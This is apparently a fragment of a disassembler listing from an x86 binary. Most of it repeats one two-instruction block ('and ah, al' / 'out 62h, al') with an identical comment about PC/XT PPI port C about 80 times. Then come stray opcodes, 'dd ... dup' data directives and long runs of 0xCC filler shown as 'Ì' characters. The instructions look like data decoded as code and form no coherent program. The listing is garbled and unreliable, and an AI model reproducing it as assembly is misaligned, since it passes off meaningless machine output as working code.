; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and bl, [edx+edi*8-73h]
ficomp word ptr [ebp-6]
; ---------------------------------------------------------------------------
dd 167h dup(0FA5DDE8Dh), 1F02A38Dh, 10h dup(1F02A40Fh)
dd 0B9h dup(79F9660h), 98E4BC60h, 195h dup(98E4BC37h)
dd 2Ch dup(164741B0h), 241h dup(0B0637A5Dh), 0CC637A5Dh
dd 609h dup(0CCCCCCCCh)
asc_612D20 db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
; DATA XREF: ___:off_4455E0o
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
